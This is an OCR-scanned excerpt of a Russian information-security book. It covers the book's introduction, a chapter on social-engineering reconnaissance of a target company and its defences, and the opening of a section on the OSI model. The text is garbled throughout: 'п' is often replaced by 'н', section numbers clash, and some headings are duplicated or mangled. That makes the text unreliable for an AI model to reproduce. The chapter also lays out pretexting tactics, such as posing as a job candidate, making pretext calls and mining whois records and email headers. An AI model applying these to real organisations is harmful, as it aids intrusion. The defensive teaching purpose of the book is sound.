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В носледние два десятилетия информационные технологии соверши
ли настоящий нрорыв. Появление гинертекста, IР-телефонии, голо
вокружительное увеличение тактовых частот нроцессоров, а также 
нронускной снособности каналов связи и многое, многое другое. Все 
это существенно усложнило нроцесс не только разработки, но и об
служивания ИТ-инфраструктуры. Появилась новая нрофессия - сис
темный администратор. 

Системный администратор является снециалистом, обеснечиваю
щим беснеребойную работу всей ИТ-инфаструктуры комнании. Да
леко не носледнее место в работе сисадмина занимает обеснечение 
информационной безонасности корноративных ресурсов. 

Для обеснечения информационной безонасности администратору 
нужно как самому корректно устанавливать нрограммное обеснече
ние, так и устанавливать обновления и иснравления на уже исноль
зующееся ПО. Решение данных задач, особенно в крунных комнани
ях, требует зачастую много времени и большого числа снециалистов, 
так как обычно в крунных комнаниях обслуживанием системы теле
фонии, серверов электронной ночты, веб-ресурсов и других систем 
занимаются разные снециалисты. Но нри этом каждая из этих сис
тем должна быть настроена с учетом требований но обеснечению 
информационной безонасности. Однако информационные системы, 
как нравило, взаимосвязаны, нанример серверы электронной ночты 
нод унравлением Microsoft Exchange должны входить в домен Active 
Directory, система IР-телефонии связана с ночтовой системой, а веб
серверы связаны с серверами баз данных. Эффективное обеснечение 
информационной безонасности для таких интегрированных систем 
требует от соответствующего снециалиста обширных технических 
знаний в смежных областях, так как иначе нлохая защищенность 
одного элемента интегрированной системы может свести на нет все 
усилия но защите других ее элементов. Как говорится, нрочность всей 
цени онределяется нрочностью ее самого слабого звена. 
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Лучше всего непосредственно при построении корпоративной 
сети использовать наиболее жесткие настройки для всех ресурсов. 
Как правило, производители приложений и оборудования сами ре
комендуют использовать наиболее защищенные режимы работы и 
подробно описывают их настройку (например, использование слож
ных паролей для входа пользователей в систему, защита электрон
ной почты от нежелательных рассьшок, отключение учетных записей 
пользователей но умолчанию и т. д. ). 

Однако типичной ситуацией является наличие какой-либо кор
поративной инфраструктуры, которая строилась на протяжении не
скольких лет различными специалистами, на разных моделях обору
дования и приложений. В таких случаях корпоративные ресурсы но 
различным причинам содержат уязвимости и недостатки, связанные 
с информационной безопасностью. 

У системного администратора, как правило, много работы. Особен
но в небольших компаниях, где порядка 100 рабочих мест, нолтора
два десятка серверов и один, максимум два человека должны все это 
обслуживать. В результате эти специалисты ежедневно заняты те
кущей работой, такой как решение проблем пользователей, замена 
картриджей в принтерах и бумаги в факсах, подготовка рабочих мест 
для новых пользователей и многой другой �текучкой�. При этом за
частую задачи но обеспечению безопасной настройки программного 
обеспечения и оборудования, написания инструкций и политик но 
информационной безопасности для пользователей ставятся на зад
ний план и,  как правило, не выполняются. Причиной этого является 
как занятость системных администраторов, так и отсутствие у них 
соответствующих знаний и навыков для обеспечения информацион
ной безопасности. 

Для крупных компаний эта проблема не так актуальна, потому что, 
например, в крупных банках имеется отдел или даже департамент но 
обеспечению информационной безопасности. Соответственно, ре
шением задач ИБ занимаются уже не системные администраторы, 
а администраторы но безопасности. При этом системные админист
раторы и администраторы но ИБ выполняют различные задачи: одни 
обслуживают ИТ-ресурсы и обеспечивают их функциональность, 
а другие обеспечивают безопасность ИТ-инфраструктуры. Адми
нистраторы но ИБ готовят политики и инструкции для системных 
администраторов. 

Но в любом случае, независимо от того, кто отвечает за обеспе
чение информационной безопасности - системный администратор 
или администратор но ИБ, этому специалисту необходимо регулярно 
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производить оценку защищенности корпоративных ИТ-ресурсов, то 
есть производить аудит информационной безопасности системы. 

Конечно, многие крупные организации предпочитают привлекать 
для осуществления проверки защищенности корпоративной инфор
мационной системы профессиональных аудиторов. Однако это имеет 
смысл только для крупных организаций, к которым предъявляются 
требования различных стандартов ( ГО СТ, ISO и др. ) .  Небольшим 
компаниям подобный аудит просто не но карману, и поэтому зада
ча осуществления практического аудита ложится на системного ад
министратора как на главного специалиста но корпоративной сети. 
К тому же такие проверки необходимо делать регулярно, что также 
накладывает дополнительные расходы. 

В. 1 . П очему «за щ ита и нападе н и е» 

Моя книга называется � Информационная безопасность: защита и 
нападение�. С понятием @ащита� , я думаю, ни у кого вопросов не 
возникнет. Администратор ИБ должен осуществлять защиту кор
поративных ИТ-ресурсов. А вот причем здесь нападение? Для того 
чтобы эффективно защищать что-либо, необходимо хорошо знать 
способы нападения, дабы уметь предугадывать действия нападающих 
и предотвращать их. 

А теперь поговорим о том, как все это связано с тематикой данной 
книги. Для кого она предназначена? Эта книга предназначена прежде 
всего для системных администраторов и специалистов но информа
ционной безопасности, которые хотели бы разобраться в практиче
ских аспектах защиты корпоративных ресурсов от различных угроз. 
Основной упор при написании книги я делал именно на практические 
аспекты, то есть здесь не будет �размышлений на тему�. Вместо про
странных размышлений я постарался сделать основной упор на прак
тические способы решения проблем ИБ, то есть в книге будут опи
сываться различные сценарии и настройки приложений и сетевого 
оборудования, работа со средствами но поиску уязвимостей и многое 
другое. Также мы поговорим о том, как нужно писать инструкции и 
политики но обеспечению ИБ,  и коснемся законодательных основ 
обеспечения ИБ в контексте нормативных правовых актов Россий
ской Федерации. 

Итак, мы определились с тем, что эта книга является в определен
ной степени практическим руководством. Но у многих может воз 
никнуть вопрос: а как насчет хакеров. Является ли эта книга руковод-
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ством для компьютерных взломщиков? Отвечу так: в общем случае, 
для начинающего хакера данная книга может оказаться полезной 
в плане изучения основ ИБ, средств проникновения и защиты сетей 
и приложений. Однако использовать на практике для взломов кон
кретных систем приведенные в книге экснлоиты и утилиты вряд ли 
получится, так как за то время, пока писалась и издавалась данная 
книга, были выпущены заплатки и обновления, закрывающие эти 
уязвимости. Кроме того, многие приведенные примеры уязвимостей 
и некорректных настроек сознательно упрощены автором, для того 
чтобы дать читателю представление об общем тине подобных уяз
вимостей и средствах борьбы с ними, а не для того, чтобы научить 
проникать в чужие сети. Так что, юные исследователи компьютерных 
систем, если вы хотите узнать, как что работает в компьютерных си
стемах, то эта книга для вас ,  но если вы хотите узнать, как взломать 
Пентагон, то тут она вряд ли сможет вам помочь. 

Вот мы и подошли к основному вопросу, который рассматривается 
в моей книге, - поиску и устранению угроз безопасности информа
ционной системы. Задача обнаружения и тем более устранения угроз 
безопасности информационной системы не является тривиальной. 
Как уже упоминалось выше, современные корпоративные сети со
стоят из множества различных устройств и приложений, и для обна
ружения угроз необходимо иметь четкое представление о принципах 
работы данных систем, используемые протоколы, средства защиты и 
многое другое. 

В своей книге я постараюсь уделить как можно больше внима
ния практическим аспектам информационной безопасности, при
менительно к техническим аспектам функционирования различных 
систем. То есть при рассмотрении вопросов,  связанных с защитой 
локальной сети, я также расскажу об общих принципах функциони
рования различных сетевых протоколов и устройств. Возможно, для 
кого-то из читателей это покажется лишним напоминанием пропис
ных истин, и он пропустит данные разделы, но мне все же хотелось 
бы, чтобы практический материал, приведенный в этой книге, был 
понятен даже начинающим специалистам. 

Да, говоря о практике, замечу, что для выполнения многих при
меров ,  описанных в данной книге, вам потребуется дистрибутив 
BackTrack Linux. Более подробно узнать об этом дистрибутиве вы 
можете в приложениях. 

Надеюсь, я сумел привлечь внимание читателя. Теперь перейдем 
к обсуждению ряда теоретических основ информационной безопас
ности, без которых вам будет сложно понять дальнейший материал. 
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В.2 . Социал ьная и нже н е рия вместо 
п ролога 

Прежде чем начать обсуждение технических аспектов обеспечения 
информационной безопасности, нелишним будет рассмотреть неко
торые вопросы, связанные с социальной инженерией. В частности, 
рассмотрим, какую информацию о сети своей потенциальной жерт
вы злоумышленник может почерпнуть из открытых источников, не 
прибегая к каким-либо специальным средствам и вредоносному про
граммному обеспечению. 

В любой корпоративной сети, как правило, используется множест
во разнообразных устройств и приложений. Активное сетевое обо
рудование ( Cisco, DLink, Huawei), операционные системы (Windows, 
разнообразные Linux и Unix) ,  веб-серверы (Apache, IIS, WebSphere), 
системы управления базами данных (MSSQL, MySQL, Oracle) и дру
гие программные продукты - все это можно встретить в корпоратив
ной сети даже средних размеров. Отдельной строкой идут средства 
информационной безопасности: антивирусы, межсетевые экраны, 
системы обнаружения вторжений. Конечно, системный администра
тор всегда должен хорошо знать свою сеть (хотя на практике часто 
бывает не совсем так). А вот потенциальным злоумышленникам знать 
о том, что используется в сети, совсем необязательно и даже крайне 
нежелательно. 

8.2. 1 .  Чем грозит наличие у злоумышленника 
знаний о вашей сети? 

Идентификация сетевых ресурсов является важным подготовитель
ным этаном перед осуществлением взлома. Если хакер знает, что ваш 
корпоративный портал работает под управлением IIS 7 или Windows 
Server 2008, то ему необходимо найти уязвимости, которым подвер
жены данные программные продукты. Для этого проще всего поис
кать в базах уязвимостей. В случае если найти ничего не удалось, то 
особо продвинутый взломщик может попытаться самостоятельно 
найти �лазейку� , собрав у себя точную копию взламываемой си
стемы и попытавшись самостоятельно проанализировать код. Для 
этого есть специальные инструменты, которых мы коснемся в этом 
разделе. Проведя анализ уязвимостей �офлайн�, затем хакер сможет 
быстро провести атаку и внедрить в атакуемую систему вредоносный 

КОД. 
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Далее в этой книге мы еще будем подробно рассматривать вопросы, 
посвященные удаленному анализу сетевых служб. В этом разделе мы 
рассмотрим такой малоизученный, но тем не менее важный аспект, 
как социальная инженерия. 

8.2.2. «Разбираем» XSpider 

Ознакомившись с предыдущими абзацами, многие могут задаться во
просом: зачем мне все это нужно, у меня же есть специализированный 
сканер уязвимостей, например XSpider или MaxPatrol. Однако здесь 
стоит заметить, что коммерческие сканеры стоят недешево,  и их, как 
правило, используют только для сканирования наиболее важных уз
лов в сети. Например, тех, что участвуют в обработке персональных 
данных, в соответствии с Федеральным законом No 1 52.  

8.2. З. Социальная инженерия 

Выше в этом разделе я попытался обосновать саму необходимость 
удаленного анализа сети для системных администраторов . Зная ме
тоды злоумышленников,  легче от них защититься. Однако, говоря 
об информационной безопасности, все почему-то сразу вспоминают 
про антивирусы, межсетевые экраны и прочие технические средства. 
А вот про людей, работающих в компании, при этом часто забывают. 
А ведь массу полезной информации хакер может почерпнуть из обще
ния с сотрудниками компании и из открытых источников, не прибе
гая при этом к помощи вредоносных программ и других технических 
средств. Кстати, уязвимости, связанные с человеческим фактором, не 
получится обнаружить с помощью XSpider. 

Конечно, работа с персоналом - это прежде всего задача НR
денартамента (отдела кадров) .  Служба персонала осуществляет при
ем сотрудника на работу, подписание соответствующих документов, 
ознакомление с различными правилами, политиками и регламентами. 
Однако сотрудники отделов ИТ и ИБ должны также участвовать 
в этом процессе. В компании должна быть разработана политика ин
формационной безопасности. 

8.2.4. Исходные данные 

Прежде всего условимся о том, что известно злоумышленнику. Бу
дем считать, что в самой компании у него нет никаких знакомых
инсайдеров, которые могут сообщить интересующую информацию. 
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Также условимся, что хакер не  нарушает закона. Он не  использует 
всевозможных средств прослушивания, �жучков�, скрытых камер и 
прочего. В этом разделе мы не будем использовать никакие специа
лизированные утилиты. Вся информация будет добываться исклю
чительно из открытых источников. 

Пусть он знает только название компании, сеть которой ему необ
ходимо взломать. Кто-то посчитает, что этого недостаточно для того, 
чтобы начать взлом, и будет неправ. 

Введя в поисковой системе название компании, злоумышленник 
быстро найдет ее официальный сайт. Вряд ли сейчас найдется хоть 
одна уважающая себя организация, у которой отсутствует свой сайт. 
А реклама, как известно, двигатель торговли, и для связи могут ис
пользоваться не только стандартные телефон и e-mail, но и более 
современные ICQи Skype. В контексте удаленного анализа сети нам 
наиболее интересны электронная почта и Skype. 

Также на корпоративном портале, помимо контактной информа
ции, как правило, есть раздел Вакансии. Начнем сбор информации 
с этого пункта. 

В.2. 5. Анализируем вакансии 

В разделе Вакансии могут оказаться описания требований к соис 
кателям, в том числе и для ИТ -специалистов. В случае если такого 
раздела нет, можно попробовать поискать вакансии данной компании 
на сайтах но поиску работы. В описании вакансии системного адми
нистратора очень часто указывается наименование оборудования, 
операционных систем и приложений, с которыми придется работать. 
Вот пример описания реальной вакансии в одной компании: 

Сете в о й  адми н и стратор в большую комп а н и ю  - 1 ООО человек .  
Филиалы  компании  в регионах по  в сей  стране  и б ы в ш ему СНГ. 
Обязан ности и требования :  
• поддержка сетевых  устройств : коммутаторов ,  ма р ш рутизаторов и 

межсетевых  э кранов  Checkpoiпt, Cisco, ЗСО М; 
• монито р и н г  работы сетевых  устройств и ка налов связи на базе ре

шений  HPOpeпView; 
• обеспечение  сетево го взаимодей ств ия  с филиалами ;  
• взаимодействие с прова йдером услуг  связи в процессе всего жиз

ненного цикл а  п редоста вляемой услуги связ и ;  
• обеспечение  ма ксимал ьно  быстрого восста новления  работоспо

соб ности сетевой  и н ф раструктуры .  
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Из этого на вид безобидного описания злоумышленник может 
сделать следующие выводы: в сети компании но рядка 1 ООО машин, 
сеть географически распределенная, значит, используется VPN или 
арендованы каналы. В качестве средств защиты, скорее всего,  исполь
зуются Checkpoint, маршрутизация и коммутация на Cisco и 3Com. 
Для подключения к Интернету, вероятно, используются каналы связи 
только одного провайдера. Пока все достаточно размыто, осталось 
много вопросов. 

Для их уточнения взломщику необходимо перейти к личному об
щению со специалистами. Для этого злоумышленнику проще всего 
воспользоваться той контактной информацией, которая предостав
лена на сайте. Например, позвонить и поинтересоваться опублико
ванными на сайте вакансиями. Многие компании в целях экономии 
времени начальное собеседование проводят но телефону. Таким об
разом, специалисты но персоналу отсеивают явно не подходящих 
кандидатов.  Злоумышленнику из общения с НR-менеджером вряд 
ли удастся получить много полезной технической информации, разве 
что уточнить количество пользователей и филиалов, да и то не всегда. 
Зато в процессе телефонного интервью злоумышленник может по
казать себя квалифицированным специалистом в требуемой области 
и быть приглашенным на собеседование. 

На собеседования к квалифицированным кандидатам зачастую 
приглашают большое число специалистов (сетевых администраторов,  
инженеров но серверам, безонасников ) .  Тут для злоумышленника 
большой простор для деятельности. В процессе дискуссии можно 
ненавязчиво узнать число филиалов. Кроме того, потенциального 
работника будут �гонять� прежде всего но тем технологиям, ко
торые используются в корпоративной сети. Например, системные 
администраторы компании интересуются знаниями соискателя в об
ласти серверных операционных систем Windows и ActiveDirectory. 
Соискатель рассказывает про Windows 2003, затем про Windows 2008. 
Между делом упоминая RODC и преимущества его использования. 
На что собеседующие отвечают, что пока не все контроллеры исполь
зуют Windows 2008. И уровень домена пока Windows 2003. Далее 
обсуждается тема миграции доменов, вследствие чего выясняется, что 
все филиалы находятся в одном домене. Поддомены не используются. 

В.2. 6. Беседа как источник информации 

Далее в процессе собеседования �берут слово� сетевики и безонасни
ки. Они спрашивают, с чем и как приходилось работать. Какие модели 
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оборудования использовались для межсетевого экранирования? Ка
кие протоколы использовались для динамической маршрутизации? 
Какие корпоративные антивирусы знакомы соискателю? Внедрял ли 
он систему управления событиями безопасности? 

8.2. 5. Анализируем v•к�нсии 

В результате беседы выясняется, что в сети используется �зоопарк� 
решений. В некоторых филиалах применяются программные меж
сетевые экраны на базе Linux и iptaЬles. В качестве коммутаторов в 
филиалах используются неуправляемые. Домен один для всех филиа
лов. Уровень домена Windows 2003. В филиалах установлены DC. 
Следовательно, все контроллеры домена равноправные, и взламывать 
можно сеть филиала, которая защищена хуже. Также было выявлено, 
что на данный момент централизованный мониторинг событий не 
ведется, и они только готовятся к внедрению ArcSight. Количество 
рабочих мест в филиалах было также уточнено. 

В довершение всего начальник ИТ-отдела посетовал,  что во многих 
филиалах отсутствуют системные администраторы и обслуживанием 
имеющихся систем занимается кто-то из бухгалтеров или менеджеров. 
Из этого можно сделать вывод, что уровень технической грамотности 
в филиалах намного ниже и атаку будет провести значительно легче. 

Кстати, многие руководители ИТ-отделов любят проводить экс
курсии в серверную для своих потенциальных работников.  А еще 
зачастую собеседования проводятся непосредственно в тех же комна
тах, где и сидят ИТ-снециалисты. Очень часто в таких помещениях на 
стенах висят планы сети с IР-адресацией. За полчаса, которые обычно 
длится собеседование, профессионал запомнит данную схему. 

Кроме всего прочего, у злоумышленника после беседы останутся 
контакты тех, с кем он беседовал. Это могут быть визитки или письмо 
с приглашением на собеседование. Чем больше имен, тем больше до
полнительной информации сможет собрать злоумышленник. 

Информацию о данных специалистах можно поискать в Интерне
те, а точнее в социальных сетях. Например, в сети Мой круг многие 
специалисты размещают свои резюме, где описывается их профессио
нальная деятельность. Ознакомившись с такими резюме, злоумыш
ленник сможет получить более точное представление о том, в каких 
технологиях наиболее силен данный специалист. Например, если в 
сети используется О С  Linux в качестве межсетевых экранов,  а все 
администраторы компании являются специалистами но Windows, то 
можно предположить, что iptaЫes настроен нелучшим образом. 
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Вообще, социальные сети - это большое зло. Люди своими руками 
пишут досье на самих себя и выкладывают это всем на обозрение. 

8.2. 8. Немного о средствах связи 

В случае, если попасть на собеседование не удалось. Допустим, ком
пания не нуждается в технических специалистах. Злоумышленник 
может воспользоваться телефоном или Skype. Например, можно по
звонить в компанию и попросить соединить с системным админист
ратором. В случае если секретарь сплоховала и соединила, дальше под 
видом предложения о продаже расходных материалов и оргтехники 
попытаться выяснить используемое в сети оборудование и ПО.  Спо
соб, конечно, не самый эффективный, но лучше, чем ничего. 

Дальше вспоминаем про Skype и ICQ. Посредством Skype зло
умышленник может попытаться узнать IР-адрес корпоративного 
шлюза. Для этого хакер может попытаться отправить файл но Skype 
или ICQ. Далее с помощью пакетного анализатора можно отследить, 
на какой IР-адрес уходят пакеты. Правда, этот способ срабатывает не 
всегда, иногда в адресе получателя оказывается другой сервер Skype. 

8.2. 9. Электронная почта как источник 
информации о сети 

Несмотря на то что данный материал посвящен социальной инже
нерии, мы постепенно переходим к техническим аспектам как к ре
зультату сбора информации. Ранее мы говорили о корпоративном 
портале, где обязательно должен быть контактный адрес электронной 
почты. Задача злоумышленника - отправив на этот адрес письмо, 
обязательно получить ответ. Затем необходимо открыть полученное 
письмо в исходном виде, включая заголовки. 

R e c e ived : f rom mxf r o n t 2 9 . m a i l . ya ndex . net ( [ 1 2 7 .  О .  О .  1 ] )  

Ьу mxf r o n t 2 9 . m a i l . yandex . n e t  wi t h  LMTP id  6Axma 6 H O  

fo  r<xxxx@yandex . r u > : Wed . 1 Feb  2 0 1 2 1 2 :  0 6 : 1 О +0400 

R e c e ived : f rom  mx1 . xxxx . c h ( mx 1 . xxxx . c h [ 1 9 4 . 209 . хх . хх ] ) 

Ьу mxf ront29 . mai l . yandex . net ( nwsmtp/Yandex ) with ESMTP id 696C41Pv-696Wxxxx : 

Wed , 1 Feb  2 0 1 2 1 2 :  06 : 1 0  +0400 

X-Ya n d ex - F ro n t : mxf r o n t 2 9 . mai l . ya ndex . n e t  

X-Yandex-Time M a r k : 1 3 28083570 

X-Ya n d ex - S pam : 1 

Из приведенного заголовка можно узнать IР-адрес почтового сер
вера отправителя. Хотя этот адрес также можно выяснить и другим 
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способом, о котором мы поговорим далее. Также последние три стро
ки сообщают о том, какая система использовалась в качестве анти
снама. В данном случае это антиснам Яндекса. 

Кстати, получить свойства письма можно в веб-интерфейсе бес 
платной почтовой службы. 

Иногда в свойствах почтовых сообщений может присутствовать 
более интересная информация, например внутренний IР-адрес от
правителя. Вообще, NAT должен скрывать внутреннюю адресацию, 
так как эта информация тоже интересна злоумышленнику. 

В.2. 1 0. Доменное имя как источник 
информации 

Еще одно техническое отступление от темы СИ, тем не менее свя
занное с ней. Располагая название корпоративного сайта, злоумыш
ленник может собрать ряд интересующих его сведений с помощью 
общедоступного сетевого ресурса. Зайдем на страницу http://www. 
ripn.net/whois. В строке запроса необходимо указать доменное имя 
интересующей компании. Вот пример результата поиска информации 
но доменному имени: 

Domai n : mydomai n . com  

Ту ре : C O R P O R ATE 

N s e rve r :  a . n s . mydomai n . com . 8 2 . 1 9 8 . хх . хх 

N s e rve r :  n s4 .  n i c . r u . 

N s e rve r :  b . n s . mydomai n . com . 2 1 2 . 3 3 . хх . хх 

State : R EGISTE R E D .  D E L EGATED 

О rg : J o i n t  S t o c k  Company" .  

Мы получили информацию о DNS-занисях, зарегистрированных 
для данного домена. Можно воспользоваться еще одним, русскоязыч
ным сервисом - leader.ru . На этом сайте в ноле Whois необходимо 
указать доменное имя (рис. 1 ) . 

Здесь результат более интересный. Помимо тех сведений, которые 
нам выдал предыдущий портал, мы также получили сведения о диа
пазоне адресов, владельце и контактной информации, включающие 
в себя имя и фамилию ответственного,  адрес электронной почты и 
телефон организации. 

Полученные сведения можно использовать для сбора информации 
теми методами, которые описывались ранее в этом разделе. Напри
мер, поискать информацию об ответственном специалисте в социаль
ных сетях. 
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{') Leader When secur1ty mo11.tters · [ Network tools from Leader] Onl1ne р ��� 
х + 

Рис. 1 .  Результат работы 

8.2. 1 1 . Атака на клиента 

До этого момента мы рассматривали ситуацию, когда злоумышлен
ник нриходил на собеседование для сбора необходимой информации. 
Однако возможна и обратная ситуация, когда комнания-конкурент 
нриглашает на собеседование сотрудника и различными снособами 
нытается нолучить необходимую информацию. 

Нанример, можно заманить на собеседование системного адми
нистратора и нонросить для нодтверждения его нрофессиональных 
навыков рассказать о тонологии той сети, которую он обслуживает. 
Также можно нонросить его наказать те документы, которые нрихо
дилось разрабатывать. Таким образом можно тоже собирать инфор
мацию о сети для наследующей атаки. 

8.2.4. ИСJ:tАНЫе AЗIIHule 
Вообще, социальная инженерия - это очень мощный инструмент, нри 
нравильном умении вести разговор (всномните разведчика Штирли
ца) собеседник сам расскажет вам обо всем, что нужно. 
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Для начала приведу небольшую историю про известного взлом
щика Кевина Митника. Он умудрялся похищать информацию даже 
из тех сегментов сети, которые не были подключены к Интернету. 
Делалось это следующим образом. Допустим, отдел А имеет подклю
чение к Интернету, а отдел Б той же компании не имеет. Митник, 
располагая адресной книгой компании, звонил сотруднику отдела 
Б,  представляясь работником из А, и вежливо просил прислать ему 
факс с интересующей информацией, объясняя это тем, что он нахо
дится вне офиса и ему срочно нужны эти данные. Кто-то отказывал, 
но рано или поздно обязательно находился сотрудник (как правило, 
женщина), который выполнял просьбу хакера. 

Несмотря на то что этой истории уже не один десяток лет, подоб
ный способ получения информации до сих нор практикуется. Напри
мер, вам на мобильный телефон звонит некто, кого не очень хорошо 
слышно, представляется реально существующим сотрудником и про
сит сообщить, например, контактную информацию вашего руководи
теля или кого-либо из других сотрудников. Объясняется это тем, что 
звонящий находится вне офиса и ему срочно нужна данная инфор
мация. Многие в такой ситуации выполняют просьбу позвонившего. 
А ведь это может оказаться злоумышленник. 

Правильным действием в подобном случае является вежливый от
каз в предоставлении информации. Например, можно сказать, что вам 
плохо слышно, и попросить перезвонить попозже. Однако этого не
достаточно. В идеале об этом звонке необходимо сообщить в службу 
безопасности компании. Если же таковая отсутствует или но каким
либо личным причинам вы не хотите к ним обращаться, то сообщите 
хотя бы своему непосредственному руководителю. 

Кстати, та же служба безопасности часто проводит подобные �уче
ния� ,  звоня своим сотрудникам от имени неизвестных. Если тре
буемая информация была получена - сотрудника ждет наказание, 
в случае если ничего узнать не удалось, но при этом сообщили в 
службу безопасности, сотрудника поощряют. Многие сочтут такие 
провокации аморальными, однако этому методу обучают не только 
в учебных заведениях соответствующих силовых структур, но и на 
различных курсах но информационной безопасности. 

Но, вообще, действия пользователей в подобных ситуациях долж
ны быть четко прописаны в корпоративной политике безопасности, 
которую подписывает каждый сотрудник при принятии на работу. 
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8.2. 1 З. Промежуточные итоги 

На этом я завершаю тему анализа сети посредством социальной 
инженерии и,  прежде чем перейти к рассмотрению вопросов,  свя
занных с защитой от данного тина атак, предлагаю подвести проме
жуточные итоги. Замечу, что собранная информация будет активно 
использоваться для дальнейшего исследования сети в других раз 
делах книги. 

В результате анализа сети бьшо выявлено следующее: используют
ся домен ActiveDirectoryWindows 2003, известно точное число филиа
лов, количество пользователей в каждой из подсетей, IР-адресация и 
модели используемого оборудования. 

Теперь поговорим о том, как можно попытаться защититься от 
описанных ранее угроз .  

8.2. 14. Защита от СИ 

Защититься от атак, осуществляемых с помощью социальной ин
женерии, не так просто, как от технических. Дело в том, что здесь 
основная угроза исходит не от плохо защищенного оборудования 
или неправильно настроенного приложения, а от людей, работающих 
с этими системами. Необходимо в разумных пределах ограничить ту 
информацию, которую может получить злоумышленник посредством 
социальной инженерии. 

Например, в случае телефонных звонков секретарь должна обяза
тельно спрашивать, кто звонит и но какому вопросу. Это позволит от
сечь часть попыток сбора информации. Хотя, конечно, более продви
нутые злоумышленники без труда обойдут такой �фейс-контроль� .  

Что касается объявлений о вакансиях, публикуемых на корпора
тивном сайте, то лучше указать несколько различных технологий и 
моделей оборудования в качестве требований, для того чтобы услож
нить взломщику задачу сбора информации. 

Пример с собеседованием, конечно, является не самым распростра
ненным вариантом сбора информации, так как большинство хакеров 
работают удаленно, и они скорее будут использовать сканеры портов 
и генераторы пакетов, чем общаться с представителями взламывае
мой организации напрямую. Однако не стоит забывать о таком спо
собе сбора информации. 
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Кроме того, не  все  обладают соответствующими актерскими спо
собностями и навыками, для того чтобы грамотно пройти собеседо
вание и получить необходимую информацию. 

Собеседования с соискателями лучше проводить в переговорных 
комнатах. А для проверки профессиональных навыков лучше не по
лениться и придумать несколько @адач�,  которые не связаны с те
кущей сетевой архитектурой компании. 

Вообще, наилучшим решением описанных ранее проблем явля
ется внимательное рассмотрение той информации, которую может 
злоумышленник получить, что он с ней потом сможет сделать. На
пример, в процессе технического собеседования задавать вопросы 
соискателю, но при этом стараться избегать ответов на его вопросы 
относительно имеющейся инфраструктуры сети. Например, говорить, 
что у вас несколько сотен рабочих мест, не уточняя более точного 
значения. 

Просто не стоит забывать, что диалог - это общение нескольких 
человек и что вы можете не только получать информацию, но и от
давать ее, иногда сами не замечая этого. 

8.2. 1 1 . Ат�к� н• клиент� 

В этом разделе я привел примеры того, как, не используя никаких 
хакерских утилит и прочих не совсем законных методов , потенциаль
ный злоумышленник может собрать информацию, необходимую для 
осуществления взлома сети. Данный материал я преднамеренно раз
местил в самом начале своей книги, для того чтобы обратить внимание 
технических специалистов на проблему �социальной инженерии�. 
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В любой организации, независимо от ее размеров,  всегда есть корно
ративная сеть. Даже если у вас маленькая контора, в которой всего 
два или три комньютера, они все равно должны быть объединены 
в сеть и иметь достун в Интернет. Таковы реалии современного биз
неса, всем нужен достун к электронной ночте, всем нужен достун 
к информации во Всемирной информационной наутине. Однако ло
кальные сети бывают не только в организациях. Зачастую во многих 
квартирах имеется но нескольку комньютеров , и каждому из них 
тоже необходим достун к ресурсам Интернета. Нанример, у многих 
нользователей дома есть основной комньютер, ноутбук, карманный 
комньютер или коммуникатор.  Всем этим устройствам в той или 
иной стенени нужно обмениваться файлами между собой, иметь до
стун в Интернет. Для организации такого достуна иснользуют ак
тивное сетевое оборудование: маршрутизаторы, межсетевые экраны, 
коммутаторы, беснроводные точки достуна и концентраторы. Хотя 
носледние встречаются все реже. Вообще, сейчас , как нравило, для 
достуна домашних нользователей в Интернет иснользуют устройства, 
сделанные но нринцину «все в одном:? . То есть одно устройство объ
единяет в себе функции межсетевого экрана, нростейшего маршрути
затора, коммутатора и точки беснроводного достуна. Для домашних 
нользователей надобное устройство является наилучшим решением, 
так как одна «коробка:? занимает меньше места, к ней нужно вести 
меньше нроводов, кроме того, ее легче настраивать. В корноративных 
сетях, где нрисутствуют более 20 рабочих станций, такие решения 
стараются не иснользовать, так как нри одновременном нодключе
нии большого количества рабочих станций у многофункциональных 
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сетевых устройств резко снижается производительность. Кроме того, 
в случае выхода из строя такого устройства вы лишитесь как доступа 
в Интернет, так и доступа во внутреннюю локальную сеть. Так что, го
спода системные администраторы, если ваш дешевый Dlink прекрасно 
работает в домашней сети, то не торопитесь советовать руководству 
покупать такой же дешевый Dlink для корпоративной сети. Решать 
проблемы, которые потом возникнут, придется прежде всего вам. 

Но вернемся к вопросам сетевой безопасности. Любая локаль
ная сеть немыслима без сетевого оборудования. А против сетевых 
устройств существует масса различных атак, направленных на пере
хват информации, проходящей но сети, захват управления устрой
ством или временный вывод его из строя. 

У читателя может возникнуть вопрос: почему, говоря о сети, я го
ворю только о сетевом оборудовании, ведь в сети также работает мно
жество приложений, например серверы баз данных или электронная 
почта? Отвечу так: несомненно, в сети работает множество различных 
приложений, но в рамках обсуждения сетевой безопасности мы обсу
дим работу именно сетевого оборудования, так как работу приложе
ний мы будем рассматривать в главе �Атаки на уровне приложений�. 

Однако, прежде чем начать обсуждение способов осуществления 
этих атак и средств защиты, необходимо вспомнить (я надеюсь) ос
новы сетевых технологий, иначе материал последующих разделов 
может превратиться для читателя в набор непонятных терминов. Ко
нечно, если вы можете с лету вспомнить модель OSI, знаете, что та
кое Spanning Tree Protocol или PVLAN, то можете смело переходить 
к чтению следующих разделов . 

1 . 1 . Модел ь OS I 

При осуществлении передачи данных от компьютера к компьютеру 
в сети производится множество операций. При этом пользователя 
совершенно не интересует, как именно это происходит, - ему необ
ходим доступ к приложению или компьютерному ресурсу, располо
женному в другом компьютере сети. На самом деле вся передаваемая 
информация проходит много этанов обработки. Прежде всего она 
разбивается на блоки, каждый из которых снабжается управляю
щей информацией. Получившиеся в результате блоки оформляются 
в виде сетевых пакетов, затем эти пакеты кодируются, передаются 
с помощью электрических или световых сигналов но сети в соот
ветствии с выбранным методом доступа, далее из принятых пакетов 
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вновь восстанавливаются заключенные в них блоки данных, блоки 
соединяются в данные, которые и становятся доступны другому при
ложению. Приведенное здесь описание является упрощенным по
яснением происходящих процессов. Часть из указанных процедур 
реализуется только программно, другая часть - аппаратно, а какие-то 
операции могут выполняться как программами, так и аппаратурой. 
Упорядочить все выполняемые процедуры, разделить их на уровни 
и подуровни, взаимодействующие между собой, как раз и призваны 
модели сетей. Модели сетей позволяют правильно организовать взаи
модействие как абонентам внутри одной сети, так и самым разным 
сетям на различных уровнях. В настоящее время наибольшее рас 
пространение получила так называемая эталонная модель обмена 
информацией открытой системы О SI ( Open System Interchange ) .  Под 
термином �открытая система� понимается не замкнутая в себе си
стема, имеющая возможность взаимодействия с какими-то другими 
системами (в отличие от закрытой системы).  

Обращаясь к истории создания иерархической модели, скажу, что 
модель O S I  была предложена Международной организацией стан
дартов ISO ( International Standards Organization) в 1984 году. С тех 
нор ее используют (более или менее строго) все производители сете
